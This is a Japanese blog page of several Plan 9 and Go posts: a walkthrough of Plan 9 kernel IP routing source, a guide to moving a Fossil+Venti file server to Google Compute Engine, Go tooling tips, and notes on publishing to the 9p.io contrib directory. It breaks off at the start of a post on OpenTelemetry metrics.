Plan 9とGo言語のブログ

主にPlan 9やGo言語の日々気づいたことを書きます。

Plan 9カーネルのIPルーティング

Plan 9カーネルがIPパケットをどうやってルーティングしているか調べた。Plan 9のネットワークプログラミングは少し癖があるので、まずカーネルが提供するファイルの使い方を整理する。

使い方

Plan 9でネットワークプログラミングを行う場合、一般的には/net以下のファイルを読み書きすることになる。例えばIPアドレスを設定する場合、/net/ipifc/cloneをopen(2)してaddコマンドを書き込むことで行う。

% echo add 192.168.1.3 255.255.255.0 >/net/ipifc/clone

追加したIPアドレスごとに、/net/ipifc以下に数字だけのサブディレクトリが作られる。/net/ipifc/0/localファイルを読むと、設定したIPアドレスを取得できる。他にも状態を取得するファイルなどが存在する。

/net/iprouteを読むと、現在のルーティングテーブルが読める。当然だけど上で追加したIPアドレスも含まれる。

% cat /net/iproute
0.0.0.0         /96  192.168.1.1     4    none   -
192.168.1.0     /120 192.168.1.0     4i   ifc    -
192.168.1.0     /128 192.168.1.0     4b   ifc    -
192.168.1.3     /128 192.168.1.3     4u   ifc    0
192.168.1.255   /128 192.168.1.255   4b   ifc    -
127.0.0.0       /104 127.0.0.0       4i   ifc    -
127.0.0.0       /128 127.0.0.0       4b   ifc    -
127.0.0.1       /128 127.0.0.1       4u   ifc    -
127.255.255.255 /128 127.255.255.255 4b   ifc    -
255.255.255.255 /128 255.255.255.255 4b   ifc    -

/net/iprouteaddコマンドをwrite(2)すると、スタティックルートを追加できる。また、デバッグ機能もあって、ルーティングテーブルにrouteコマンドを書くと、宛先へのルートを出力してくれる。

% echo add 192.168.10.0 255.255.255.0 192.168.1.1 >/net/iproute
% echo route 8.8.8.8 >/net/iproute

パケットを送る場合は、/net/udp/clone/net/tcp/cloneをopen(2)すると、openしている間は<n>ディレクトリが作られるので、/net/udp/<n>/ctlに宛先などをwrite(2)して*1/net/udp/<n>/dataに送りたいデータをwrite(2)する。

ソースコードを追う

大まかな使い方をみたので、続けてカーネルではどう扱われているかを調べる。以下では都度ソースコードを引用しているが、これらは必要なところを抜粋しているもので、完全なリストではない。また、ソースコードの場所は特に明記しない限り/sys/src/9/ipからの相対パスを使う。

カーネルの動作を追うにあたって、重要なデータ構造があるので先にそれを眺める。

9Pセッションの扱い

カーネルの中では、9PセッションはおよそChan構造体で管理されている。Plan 9カーネルは9Pクライアントの側面を持ち、同時に9Pサーバでもあるので少し表現が難しい。

struct Chan {
    ulong dev;
    Qid qid;
};

devは、カーネル内部に存在するipfsという配列のインデックスになっている。ipfsはユーザによってattach(5)されたIPプロトコルスタックの配列で、#I0, #I1などIPプロトコルスタック(devipと呼ばれる)を9Pでattachすると、カーネル内部のipfsFs構造体が追加される。この処理はdevip.cipattachが行う。attachが終わると、以降の9Pセッションで使うための、devqidなどが初期化されたChan構造体を得る。

qidはunique idの略で、9Pにおいて特に重要な値となる。qidは9Pサーバ上のファイルを指し、名前の通りファイルサーバ上で一意となる。9Pセッションではqidを使ってopen(5)やread(5)を行うことになる。Unixのinodeと似ているが、qidにはファイルのバージョンも含まれる。

ipfs配列

ipfsはユーザによってattach(5)されたIPプロトコルスタックの配列と書いたが、具体的にどういった値を扱うのか見ていく。

enum {
    Maxproto = 20,
    Nfs = 128
};

struct Proto {
    int x; /* protocol index */
    int ipproto; /* ip protocol type */

    Conv *conv[]; /* array of conversations */
};

struct Fs {
    int dev;
    Proto *p[Maxproto+1];
};

Fs *ipfs[Nfs];

Proto構造体

ipfs#I0などdevipをattach(5)したものなのでFsがそのまま#I<n>に対応するが、Protoとは何か。これは#I0/tcp#I0/udpなど、/netディレクトリ以下にある各種プロトコルが対応する。#I0/ipifcなどPlan 9独自なものも含まれる。Protoのメンバー変数pは、attach(5)した時に初期化され、ユーザ操作によって増減することはおそらくない。

static Chan*
ipattach(char *spec)
{
    Chan *c;

    dev = atoi(spec);
    ipgetfs(dev);
    c = devattach('I', spec);
    mkqid(&c->qid, QID(0, 0, Qtopdir), 0, QTDIR);
    c->dev = dev;
    c->aux = newipaux(...);
    return c;
}

static Fs*
ipgetfs(int dev)
{
    /* ipprotoinitは9/port/mkdevcで生成したCのコードに含まれる */
    /* 実態はudpinit, tcpinitなど各種プロトコルのinit関数 */
    extern void (*ipprotoinit[])(Fs*);

    if(ipfs[dev] == nil){
        f = smalloc(sizeof(Fs));
        ip_init(f);
        arpinit(f);
        ...
        /* プロトコルごとにProtoを初期化してf->pに追加する */
        for(i = 0; ipprotoinit[i]; i++)
            ipprotoinit[i](f);
        ipfs[dev] = f
    }
    return ipfs[dev];
}

Conv構造体

最後に、Protoのメンバー変数にconvというConv構造体の配列がある。これはざっくり言ってしまうと、現在アクティブなコネクションを表し、ユーザ操作によって増減する。

struct Conv {
    int x; /* conversation index */
    Proto *p;

    uchar laddr[IPaddrlen]; /* local IP address */
    uchar raddr[IPaddrlen]; /* remote IP address */
    ushort lport;
    ushort rport;

    Queue *rq;  /* queue data waiting to be read */
    Queue *wq;  /* queue data waiting to be written */
    void *pctl; /* protocol specific stuff */
    Route *r;   /* last route used */
};

例えば/net/udp/cloneをopen(2)したとき、いろいろ経てカーネルipopenに処理が移る。ここでFsprotoclone関数により、新しいConv構造体がProtoconv配列に追加される。

static Chan*
ipopen(Chan *c)
{
    Proto *p;
    Conv *cv;
    Fs *f;

    f = ipfs[c->dev];
    switch(TYPE(c->qid)){
    case Qclone:
        p = f->p[PROTO(c->qid)];
        cv = Fsprotoclone(p, ATTACHER(c));
        mkqid(&c->qid, QID(p->x, cv->x, Qctl), 0, QTFILE);
        break;
    }
    ...
}

以後、このChanが継続して利用される。ここで作られたConvは、close(2)が呼ばれたときにipcloseによりcloseconvが呼ばれて閉じる。

これまで出てきた構造体をユーザから見えるものに当てはめると

構造体 対応するファイル例 メモ
Fs /net, /net.alt 実態は#I0, #I1...
Proto /net/ipifc, /net/udp
Conv /net/udp/0, /net/udp/1

パケットを送出する場合

パケットを送出する場合に、カーネルではどう扱われるのか。

NICIPアドレスを割り当てたとき

/net/ipifc/cloneへの書き込みはipifc.cipifcctlに届く。addコマンドの場合は同ファイルのipifcaddに渡される。

static char*
ipifcctl(Conv* c, char**argv, int argc)
{
    Ipifc *ifc;

    ifc = (Ipifc*)c->ptcl;
    if(strcmp(argv[0], "add") == 0)
        return ipifcadd(ifc, argv, argc, 0, nil);
}

char*
ipifcadd(Ipifc *ifc, char **argv, int argc, 一部省略)
{
    Fs *f;
    Iplifc *lifc;

    f = ifc->conv->p->f;
    ...
    lifc = smalloc(sizeof(Iplifc));
    ipmove(lifc->local, ip);
    ipmove(lifc->mask, mask);
    ...lifcの値を初期化...

    lifc->next = nil;

    ...ifc->lifcの末尾にlifcを追加...

    if(isv4(ip))
        v4addroute(f, "ifc ", rem, mask, rem, Rifc);
    addselfcache(f, ifc, lifc, ip, Runi);
    if(isv4(ip) || ipcmp(ip, IPnoaddr) == 0){
        bcast = (ipとmaskでブロードキャストアドレスを計算)
        addselfcache(f, ifc, lifc, bcast, Rbcast);
        bcast = (ipとmaskでネットワークアドレスを計算)
        addselfcache(f, ifc, lifc, bcast, Rbcast);
        addselfcache(f, ifc, lifc, (255.255.255.255), Rbcast);
    }
}

色々やっているけど、ここでは以下の内容で簡単に覚えておくと良い。

  • 自身のIPアドレスを設定
  • ルーティングテーブルにtype = Rifcとして自身のルートを追加
  • ルーティングテーブルにtype = Rbcastとしてサブネットを追加

ルーティングテーブルにスタティックルートを追加したとき

/net/iprouteにwrite(2)した場合のこと。上では簡単にしか書かなかったので、ここで詳しく読む。

ルーティングテーブルはプロトコルスタックごとに存在するので、Fs構造体にv4rootメンバー変数が用意されている。他にもIPv6の場合はv6rootが用意されているが、基本的には同じなのでここではIPv4だけをみていく。

#define Lroot   10

struct Fs
{
    Route *v4root[1<<Lroot]; /* 1024個のルートツリー */
};

struct Route
{
    RouteTree;

    V4route v4;
};

struct RouteTree
{
    Route *right; // Route.v4と比べて大きいアドレス(it > v4.address)
    Route *left;  // Route.v4と比べて小さいアドレス(it < v4.endaddress)
    Route *mid;   // Route.v4に含む(it >= v4.address && it <= v4.endaddress)
    uchar type;   // Rv4 | Rifc | Rptpt | Runi | Rbcast | Rmulti | Rproxy
    Ipifc *ifc;
    ...
};

struct V4route
{
    ulong address;    // (宛先アドレス&ネットマスク)の先頭アドレス
    ulong endaddress; // (宛先アドレス&ネットマスク)の最終アドレス
    uchar gate[IPv4addrlen]; // nexthop
};

ところで、RouteのメンバーRouteTreeは型名だけ書かれている。Plan 9のCコンパイラは拡張されていて、Goの埋め込みと同じことができるようになっている*2。従って、Route *rという変数があれば、r->leftRouteTreeのメンバー変数leftを扱える。

/net/iprouteadd命令をwrite(2)した場合、文字列はそのままiproute.croutewriteに届く。ここでは書き込まれた文字列をパースして、ネットワークアドレス、ネットマスク、宛先アドレスをv4addrouteに渡す。

long
routewrite(Fs *f, Chan *c, char *p, int n)
{
    Cmdbuf *cb;

    cb = parsecmd(p, n);
    if(strcmp(cb->f[0], "add") == 0){
        parseip(addr, cb->f[1]);
        parseipmask(mask, cb->f[2]);
        parseip(gate, cb->f[3]);
        v4addroute(f, tag, addr+IPv4off, mask+IPv4off, gate+IPv4off, 0);
    }
}

#define    V4H(a)  ((a&0x07ffffff)>>(32-Lroot-5))

void
v4addroute(Fs *f, char *tag, uchar *a, uchar *mask, uchar *gate, int type)
{
    Route *p;
    ulong sa, ea, m;
    int h, eh;

    m = nhgetl(mask);
    sa = nhgetl(a) & m;
    ea = sa | ~m;

    eh = V4H(ea);
    for(h = V4H(sa); h <= eh; h++){
        p = allocroute(Rv4 | type);
        p->v4.address = sa;
        p->v4.endaddress = ea;
        memmove(p->v4.gate, gate, sizeof(p->v4.gate));
        ...
        addnode(f, &f->v4root[h], p);
    }
}

v4rootテーブル

v4addroutev4rootにルート情報を追加する。v4rootは全てのIPv4アドレスを1024分割して管理するテーブルで、IPネットワークアドレスのV4Hを計算して、該当するツリー全てに登録する。例えば0.0.0.0/0のマッチする範囲は0.0.0.0〜255.255.255.255なので全てのツリーに登録される。具体的にV4Hを計算してみると以下のようになる。

V4route r = {
    .address    = 0,
    .endaddress = 0x07ffffff,
};

int sa = V4H(r.address)    => 0
int ea = V4H(r.endaddress) => 1023

一方で192.168.1.0/24は192.168.1.0〜192.168.1.255の範囲なので、

V4route r = {
    .address    = 0xc0a80100,
    .endaddress = 0xc0a801ff,
};

int sa = V4H(r.address)    => a80100 => 84
int ea = V4H(r.endaddress) => a801ff => 84

他にも172.16.0.0/16の場合、

V4route r = {
    .address = ac100000,
    .address = ac10ffff,
};

となって、あとは同じなので省略するがv4rootの決まった位置に割りあげられる。なので上記の2つをルートに追加すると、カーネル内部ではこのようなツリーができる。

v4root[] = {
    [0]    = 0.0.0.0/0
    [1]    = 0.0.0.0/0
    ...
    [84]   = 0.0.0.0/0, 192.168.1.0/24
    ...
    [1023] = 0.0.0.0/0
}

ルートを調べる場合は、宛先アドレスのV4Hを計算して該当するツリーだけ調べれば、ルート情報があれば見つかるし、ルートがなくても必ずデフォルトルートが選び出される。

パケットを送出するとき

/net/udp/<n>/dataに書き込むと9Pに変換されて、最終的にudp.cudpkickへ書き込んだデータが届く。ここでヘッダなどを構築して、ipoput4に渡す。ここまでがUDPの責務で、ipoput4以降がIP層の責務となる。

ipoput4ip.cで実装されている。ipoput4は送出するNICを特定するためv4lookupを呼び出す。これはiproute.cで実装されていて、v4lookupはルートの追加でみたように、宛先アドレスのV4Hを計算して、対応するv4rootのツリーを探索する。

Route*
v4lookup(Fs *f, uchar *a, Conv *c)
{
    Route *p, *q;
    ulong la;
    Ipifc *ifc;

    la = nhgetl(a);
    for(p=f->v4root[V4H(la)]; p;){
        if(la >= p->v4.address){
            if(la <= p->v4.endaddress){
                q = p;
                p = p->mid;
            }else
                p = p->left;
        }else
            p = p->left;
    }
    if(q){
        if(q->type & Rifc)
            gate = (q->v4.addressの値)
        else
            gate = (q->v4.gateの値)
        ifc = findipifc(f, gate, q->type);
        q->ifc = ifc;
    }
    return q;
}

ルートが定まれば(上のコードでif(q)のところ)パケットを送り出すべき宛先(nexthop)が得られるため、nexthopに対応するNICfindipifcで探す。

これ以降もarpなど続くが、ルートを得る処理はここで終わり。Plan 9のIP関連コードのほとんどは/sys/src/9/ip*3にまとまっていて、全部で2万行程度なので読みやすくて非常に良い。

*1:cloneをopen(2)したfdがそのままctlになるので、新しくopen(2)する必要はない

*2:Plan 9の方が先だけど

*3:一部/sys/src/libip/sys/src/9/portにもある

Plan 9を別の環境に移行する

この記事では、手元で動いているPlan 9環境をそのままGCPに移行する手順を紹介します。移行する一連のなかで、

  • Fossilだけで動いている環境にVentiを設定する
  • VentiからFossilを復旧する

といった、日本語だと情報があまりないものを扱います。移行先はGCPを選んでいますが、これはCompute Engineがシリアルコンソールをサポートしていて何かあった場合でも対応しやすいからなだけで、他の環境でもそれほど違いはありません。

ベル研Plan 9のファイルサーバは、3rd editionまで利用されていたKen Thompsonのfs(dumpfs)からFossil+Ventiに移り変わっています。Fossil+Ventiは管理が複雑などの理由から、9frontなどではken fsと同じように扱えるcwfsが人気ですが、複雑なところを差し引いてもFossil+Ventiの方が便利だと思うので個人的にはこちらを使っています。

Ventiはディスクブロックの内容をハッシュ化して、決まった場所に書き込むストレージです。これ自体はただのストレージで、ファイルシステムではありません。FossilはVentiを利用したファイルシステムです。Fossil単体でも動作しますがVentiと連携するように設定しておくと、デフォルトでは1日1回、差分をVentiへ書き込みます。VentiがあればFossilはいつでも再構築できるため、これを使って移行するわけですね。

Ventiについては以下のリンクを参照ください。

移行先Ventiの用意

Ventiディスクの作成

まずVentiのデータを先にGCPへ移行する必要があるので、GCPでディスクを作成しましょう。ここで作るディスクはそのまま移行後のVentiディスクとなります。後から追加も可能ですが管理が煩雑になるので、必要な分のサイズを用意しておいてください。

% gcloud compute --project=$GCP_PROJECT disks create venti \
    --type=pd-standard --size=200G --zone=asia-northeast2-a

% gcloud compute --project=$GCP_PROJECT disks list
NAME   LOCATION           LOCATION_SCOPE  SIZE_GB  TYPE         STATUS
venti  asia-northeast2-a  zone            200      pd-standard  READY

上記では標準のディスクで200GB用意しました。Ventiへのアクセス頻度はそれほど多くないので、ディスクの読み書き速度はそれほど必要ありません。

データのコピー

次に、移行したいホストのVentiから、上記で作成したディスクへデータをコピーします。ここではreadwriteを使う方法で行いますが、コピー方法は以下のエントリにいくつか挙げているので好みの方法を選んでもらって構いません。

また、以下の例では作業用のPlan 9端末(fsという名前)を使っていますが、こちらもplan9portで代用できます。古い記事ですがplan9portでVentiを構築する場合は以下を参考にしてください。

というわけで、GCP上の移行先ディスクをインスタンスに接続して、Ventiをサービスするところまでやりましょう。ファイアウォールventiのポートも通しておきます。

% gcloud compute --project=$GCP_PROJECT instances attach-disk fs \
    --disk=venti --zone=asia-northeast2-a
% gcloud compute --project=$GCP_PROJECT instances start fs \
    --zone=asia-northeast2-a
% gcloud compute --project=$GCP_PROJECT connect-to-serial-port fs \
    --zone=asia-northeast2-a

% gcloud compute --project=$GCP_PROJECT firewall-rules create default-allow-venti \
    --direction=INGRESS --network=default \
    --action=ALLOW --rules=tcp:17034 --source-ranges=0.0.0.0/0

ここからは作業用のPlan 9端末でVentiディスクを初期化します。いくつかパーティションを切っていますが、arenaが実際のファイル内容を保存する場所、isectはindex sectionの略でハッシュ値とデータが保存されているディスクのブロックを特定するための領域、bloomはなくても動きますが、速度改善のためのものです。

# did not find master boot recordエラー対策
term% disk/mbr /dev/sd02/data

term% disk/fdisk -bawp /dev/sd02/data
part plan9 63 419425020

term% disk/prep -bw -a arenas -a isect -a bloom /dev/sd02/plan9
arenas 398453696
isect 19922685
bloom 1048576

これで必要なパーティションが揃いました。

% ls -lp /dev/sd02
--rw-r----- S 0 glenda glenda 204008292352 Mar 12 03:47 arenas
--rw-r----- S 0 glenda glenda    536870912 Mar 12 03:47 bloom
--rw-r--r-- S 0 glenda glenda            0 Mar 12 03:47 ctl
--rw-r----- S 0 glenda glenda 214748364800 Mar 12 03:47 data
--rw-r----- S 0 glenda glenda  10200414720 Mar 12 03:47 isect
--rw-r----- S 0 glenda glenda 214745577984 Mar 12 03:47 plan9
-lrw------- S 0 glenda glenda            0 Mar 12 03:47 raw

Ventiディスクをフォーマットしていきます。

% venti/fmtarenas arenas /dev/sd02/arenas
fmtarenas /dev/sd02/arenas: 380 arenas, 204,007,497,728 bytes storage, 524,288 bytes for index map

% venti/fmtisect isect /dev/sd02/isect
fmtisect /dev/sd02/isect: 1,245,070 buckets of 215 entries, 524,288 bytes for index map

% venti/fmtbloom /dev/sd02/bloom
fmtbloom: using 512MB, 32 hashes/score, best up to 95,443,717 blocks

% cat >venti.conf
index main

isect /dev/sd02/isect
arenas /dev/sd02/arenas
bloom /dev/sd02/bloom
^D

% venti/conf -w /dev/sd02/arenas venti.conf

% venti/fmtindex /dev/sd02/arenas
fmtindex: 380 arenas, 1,244,919 index buckets, 204,001,271,808 bytes storage

上記コマンドのventi/fmtindexは、それぞれ個別にフォーマットしたパーティションをまとめてひとつのVentiで扱うためのコマンドです。また、最後にあるventi/confは設定をarenasパーティションの先頭に埋め込んでいます。venti/ventiは起動する時に、ここから設定を読んでパーティションを扱います。

これで準備ができたので起動しましょう。

% venti/venti -c /dev/sd02/arenas
2020/0818 17:13:14 venti: conf...
venti/venti: bloom filter bigger than mem pcnt; resorting to minimum values (9MB total)
venti/venti: mem 1,048,576 bcmem 2,097,152 icmem 6,291,456...init...icache 6,291,456 bytes = 98,304 entries; 4 scache
sync...queue...announce tcp!*!venti...serving.

ここまで正常に終われば外から接続できるようになっています。

% nc -v <移行先インスタンスのIPアドレス> 17034

readwriteでデータをコピーします。9legacyのスクリプトを移行元にダウンロードして、以下の値を書き換えます。

# 移行元IPアドレス(通常はこのまま)
venti=127.0.0.1

# 移行先IPアドレスとポート番号
host=tcp!<移行先インスタンスのIPアドレス>!17034

これで実行するとVentiのデータをコピーします。移行元Ventiの容量によっては数時間かかるので、途中で切断されないように気をつけてください。

% >info
% rc ./readwrite

終わったら、移行元のvacスコアを使って、移行先Ventiからファイルが読めるか確認します。

% venti=127.1
% echo vac:xxx >score.vac
% vac score.vac
% lc /n/vac

% unmount /n/vac

またはreadwriteの代わりにventi/copyも使えます。この場合はvacスコアから辿れる範囲内しかコピーしませんが、fossilと一緒に運用しているなら一般的には最後のスコアから全て辿れるので十分です。

% fossil/last /dev/sdC0/fossil
vac:xxx

% venti/copy -f localhost:17034 <移行先インスタンスのIPアドレス>:17034 vac:xxx

VentiからFossilの再構築

次に、Ventiの最終スコアを使ってFossilを構築します。これまで使っていたディスクはレスキュー用に残しておいて、代わりに新しいディスクを使うことにします。Fossilは速度が必要なのでpd-ssdで作ります。

% gcloud compute --project=$GCP_PROJECT disks create fossil \
    --type=pd-ssd --size=20GB --zone=asia-northeast2-a
% gcloud compute --project=$GCP_PROJECT instances attach-disk fs \
    --disk=fossil --zone=asia-northeast2-a

これで新しいディスクは/dev/sd03に接続されました。後はこれを初期化していきます。

term% disk/mbr -m /386/mbr /dev/sd03/data
term% disk/fdisk -baw /dev/sd03/data
term% disk/prep -bw -a 9fat -a nvram -a fossil -a cache -a swap /dev/sd03/plan9

term% venti=127.1
term% venti/venti -c /dev/sd02/arenas
term% fossil/flfmt -v xxx /dev/sd03/fossil  # xxxはvacスコアだけどハッシュ値だけ

FossilとVentiの連携

fossil/flfmt -vで初期化したFossilは、起動時にVentiが動いていることを必須とします。そのためFossilのopenコマンドで-Vオプションを使ってはいけません。

# 今は/dev/sd03/fossilだけど最終的にブートディスクとなるので/dev/sd01/fossilとして書き込む
term% cat >fossil.conf
fsys main config /dev/sd01/fossil
fsys main open -c 3000
fsys main snaptime -s 60 -a 0500 -t 2880
^D

term% fossil/conf -w /dev/sd03/fossil fossil.conf

また、Fossilよりも前にVentiが起動している必要があります。このためにplan9.iniventi=の追加が必要です。カーネルventi=エントリがplan9.iniに書かれている場合にVentiを起動するようになっています。

bootfile=sdC0!9fat!9pccpuf
bootargs=local!#S/sdC0/fossil
bootdisk=local!#S/sdC0/fossil
venti=#S/sdC0/arenas

# *debugload=1
# *noahciload=1
# *nodumpstack=1
# *noetherprobe=1
# *nousbprobe=1
# [debug]
# baud=9600
# config for initial cd booting
# console=0
# this would disable ether and usb probing.
# very cautions settings to get started.
# will defeat booting from usb devices.
*nobiosload=1
*nomp=1
debugboot=1
dmamode=ask
partition=new
mouseport=ps2
monitor=xga
vgasize=1024x768x32

console=0 b115200 l8 pn s1

また、このディスクはブートディスクとなるのでカーネルやローダなども入れる必要があります。ただし標準配布されているカーネルvirtioが有効になっていません。Compute Engineで動かすためにvirtioを組み込んだカーネルを使っているはずなので、現行のディスクからカーネルなどを新しいディスクに移行します。

term% 9fat:
term% cd /n/9fat
term% disk/format -b /386/pbslba -d -r 2 /dev/sd03/9fat 9load 9pcf plan9.ini

これで、ブートディスクを新しいFossilに変更して再起動すれば以前の環境そのまま移行できます。

トラブル事例

vacスコアを紛失した

arenasが残っていれば/sys/src/cmd/venti/words/dumpvacrootsで取り出せます。Unixの場合はそのままだと動かないので、Windows Azure上でLinuxをventiバックアップ先にするに変更したものを載せています。

Go関連の比較的新しいTips

READMEにpkg.go.devのバッジを貼る

godoc.orgはpkg.go.devに移行していくことが告知されているので、新しいプロジェクトではREADME.mdに貼っているバッジを移行しましょう。pkg.go.devのURLやバッジは

// バッジ
https://pkg.go.dev/badge/<package path>

// リンク
https://pkg.go.dev/<package path>

の形を取ります。例えばgithub.com/lufia/backoffの場合は以下のように書きます。

# Backoff
...summary...

[![GoDev][godev-image]][godev-url]

...description...


[godev-image]: https://pkg.go.dev/badge/github.com/lufia/backoff
[godev-url]: https://pkg.go.dev/github.com/lufia/backoff

pkg.go.devのバージョンを更新する

GitHubなどで新しいタグをpushしても、何もしなければ(少なくとも数日は)モジュールインデックスに反映されません。すぐに更新したい場合、最新バージョンを明記してgo getしておきましょう。

// アクセスすればいいので-dオプションをつけてもいい
% go get github.com/lufia/backoff@v1.3.0

これで数時間後には反映されるはずです。モジュールの動作は以下の記事がとても詳しいので読んでおくとよくわかります。

Goバイナリのランタイムバージョンを調べる

runtime.Versionを使うと、Goでビルドされたコマンド自身は、どのバージョンでビルドされたのかを実行時に調べることができますが、ファイル名を指定して調べる方法は(少なくとも簡単に調べる方法は)提供されていませんでした。

// 自身のランタイムバージョンしか取れない
fmt.Println("Version:", runtime.Version())

Go 1.13から、go versionコマンドに-mオプションが追加されました。このコマンドに実行ファイルを渡すと、どのバージョンでビルドされたのかを調べられるようになりました。モジュールが使われている場合は、モジュールのバージョンも調べられます。また、ディレクトリを渡した場合は、ディレクトリに含まれるたGoバイナリ全てを調べます。

% go version -m ~/bin/act
/Users/lufia/bin/act: go1.14.6
    path    github.com/nektos/act
    mod github.com/nektos/act   v0.2.10   h1:aMSXUGybVyLIqe3ak9GyCtRVpBxwAiSBR5stqas0lj0=
    dep github.com/MichaelTJones/walk   v0.0.0-20161122175330-4748e29d5718 h1:FSsoaa1q4jAaeiAUxf9H0PgFP7eA/UL6c3PdJH+nMN4=
    dep github.com/andreaskoch/go-fswatch   v1.0.0    h1:la8nP/HiaFCxP2IM6NZNUCoxgLWuyNFgH0RligBbnJU=
    dep github.com/containerd/containerd    v1.3.3    h1:LoIzb5y9x5l8VKAlyrbusNPXqBY0+kviRloxFUMFwKc=
    dep github.com/containerd/continuity    v0.0.0-20190426062206-aaeac12a7ffc h1:TP+534wVlf61smEIq1nwLLAjQVEK2EADoW3CX9AuT+8=
    dep github.com/docker/cli   v0.0.0-20190822175708-578ab52ece34 h1:H/dVI9lW9zuagcDsmBz2cj8E8paBX5FarjO7oQCpbVA=
    dep github.com/docker/distribution  v2.7.1+incompatible   h1:a5mlkVzth6W5A4fOsS3D2EO5BUmsJpcB+cRlLU7cSug=
    dep github.com/docker/docker    v0.0.0-20200229013735-71373c6105e3 h1:hq9QaRK9JJOg7GItpuSSA3MrBoEN3c3llxQappEq9Zo=
...

1.13より前のバージョンでビルドしたコマンドは、ランタイムのバージョンだけならgoversionで調べられます。こちらもgo versionと同様に、ディレクトリを渡せます。

% go get github.com/rsc/goversion
% goversion ~/bin

チャネルのスライスでselectする

動的に増減する複数のチャネルを使って、どれでもいいので送信可能になったチャネルへデータを送る、または受信可能なデータを取り出す動作を実装したい場合にreflect.Selectが使えます。以下の例は受信しか行っていませんが、だいたいの使い方はこんな雰囲気。

package main

import (
    "fmt"
    "math/rand"
    "reflect"
    "time"
)

func main() {
    rand.Seed(time.Now().UnixNano())
    a := make([]chan int, 5)
    for i := 0; i < len(a); i++ {
        a[i] = make(chan int)
    }
    cases := make([]reflect.SelectCase, len(a))
    for i, c := range a {
        cases[i] = reflect.SelectCase{
            Dir:  reflect.SelectRecv,
            Chan: reflect.ValueOf(c),
        }
    }

    const N = 10
    go func() {
        for i := 0; i < N; i++ {
            off := rand.Int() % len(a)
            a[off] <- i
        }
    }()
    for i := 0; i < N; i++ {
        // casesに含まれるチャネルのどれかにデータが届いたらSelectを抜ける
        off, v, ok := reflect.Select(cases)
        fmt.Println(off, v, ok)
    }
}

ところで、Goの前身となる言語にはこういった機能が言語仕様に盛り込まれていたのですが、Goでは意図的に外されたようです。なので回避できるなら使わない方が良いのかもしれません。代わりに、例えばchan chan intのようにチャネルを送受信するチャネルを使うと、同じようなことはできます。

runtime.GOOSとbuild constraintsのどっちを使う

golang-nutsより。

all.bashタイムアウト

Goをソースからコンパイルするときテストを実行しますが、このテストは10分弱でタイムアウトします。マシン性能が悪くタイムアウトしてしまう場合、環境変数GO_TEST_TIMEOUT_SCALEに2を設定すると、タイムアウトが標準の2倍になります。Plan 9でのテストは一部とても遅いものがあるので、この設定が必要です。

presentスライド

Go関連の発表でよく使われる、テキストを書くとスライドにしてくれるpresentというツール*1があるのですが、以前は独特な記法で書く必要がありました。最近この記法が、Markdownに似たものに変更されたようです。

とはいえ、今も古い記法に対応していて、どっちの記法を使うのかは、テキスト中に#(スペースを含む)が1つでもあればMarkdown風の記法が使われます。

ただし、talks.godoc.orgはまだ新しい記法に対応していません。

Contribディレクトリにソースコードを公開する

2020年現在、ユーザが作成したPlan 9関連ソースコードの多くは9p.io/contribでホストされています。9p.ioは元々、ベル研の公式サイトが不安定だった頃に、ドキュメントやWikiが読めなくて困るので善意でミラーを行っていただけでしたが、公式が消滅してからは事実上のオフィシャル扱いになっていますね。

Contribディレクトリ以下には、9p.ioに登録されたユーザごとにサブディレクトリが用意されていて*1、これらの読み込みは匿名ユーザ(none)でも可能ですが、ファイルを書き込むためには当然アカウントが必要になります。しかし9p.ioにアカウントを作る方法は、おそらくどこにも書かれていません。今回、自分のディレクトリを作ってもらったので、メモも兼ねて公開します。

アカウント作成

アカウントを作るためのフォームなどは何も用意されていません。なので9p.ioを管理されている@0introさんに直接メールしましょう。@0introさんのメールアドレスをここで公開するのは穏やかではないので、GitHubや9fans MLなどから調べてください。依頼するときの文章は、この程度で大丈夫でした。

Hi, David.

Please would you create my account (id: lufia) on 9p.io/contrib?

おそらく善意での運用なのでのんびり待ちましょう。自分のアカウントを作ってもらった時は1ヶ月ほど経ってから返信がありました。

認証ドメインの追加

アカウントが作られたら、/lib/ndb/localに認証ドメインを追加します。

authdom=9p.io
  auth=cetus.9grid.fr

これでPlan 9端末の設定は終わりです。

マウントする

次のコマンドで、9p.ioの正式なユーザ権限で9p.io/sourcesを/n/sourcesにマウントできます。

% srv -a 9p.io
% mount /srv/9p.io /n/sources

このコマンドの途中で、今回作ってもらったユーザ名とパスワードの入力が必要です。入力すればいいだけですが、とはいえ接続のたびに毎回パスワードを入力するのは面倒なので、factotumまたはsecstoreに入れておくと良いでしょう。

% echo 'key proto=p9sk1 role=client dom=9p.io user=lufia !password=xxx' >/mnt/factotum/ctl

factotumに入れておくと、認証が必要な時はfactotumが自動で行ってくれるようになるので便利ですね。

contribディレクトリの使い方

現在Plan 9 Wikiへの反映は止まっていますが、他の誰かが見る場所なので、以下のルールは守っておいて損はないと思います。

READMEとINDEX

ユーザディレクトリ直下にREADMEINDEXファイルを置きましょう。READMEContrib indexページの各ユーザごとにあるテキストに使われるもので、作者情報やライセンスなどを書きます。最初16行までが認識されます。INDEXは公式WikiContribページによると、パッケージ名と説明を1行ごとに書き並べるファイルです。

package_name: Description here

package_namecontrib/$USERからのファイル名またはディレクトリ名です。その後にコロンで区切ってパッケージの説明を書きます。例えばディレクトリの内容が

.
|-- patch
|   |-- cpp.diff
|   `-- il.c
`-- git-credential-factotum
    `-- mkfile

の場合、INDEXはこのようになります(通常は英語で書きますがこの記事では雰囲気だけ)。

patch/cpp.diff: Cプリプロセッサのパッチ
patch/il.c: ILをIPv6対応したもの
git-credential-factotum: Git credential helper

コーディングスタイル

公開するソースコードやパッチなどは、どちらもPlan 9コーディング規約を守っておくと良いですね。

contrib/install

fgbさんによって作られた、Contrib以下のツールをインストールするためのスクリプトです。バイナリを公開する時は、これに対応しておくと喜ばれます。実際はreplica(1)のフロントエンドになっているようですね。

contribをGitリポジトリのremoteにする

contribディレクトリはマウントして使うので、通信が遅いことを除けば通常のファイルと何も違いがありません。だいたいこんな雰囲気です。

% cd /n/sources/contrib/lufia/git-credential-factotum
% git init
% cd $home/src
% git clone -l /n/sources/contrib/lufia/git-credential-factotum

% git remote add 9p.io /n/sources/contrib/lufia/git-credential-factotum
% git push 9p.io

*1:古くはplan9.bell-labs.comから引き継いだものもある

OpenTelemetryメトリックにObserverとResourceが追加されました

以前の記事で、OpenTelemetryでメトリックを記録するを書きましたが、現在いくつか変更が入っています。細かい型名やメソッド名が変わったものは除いて、大きめの変更点をまとめました。

Observerの追加

以前までは、メトリックの種類は

  • Measure - 複数の値を記録するもの(例: HTTPハンドラのレイテンシ)
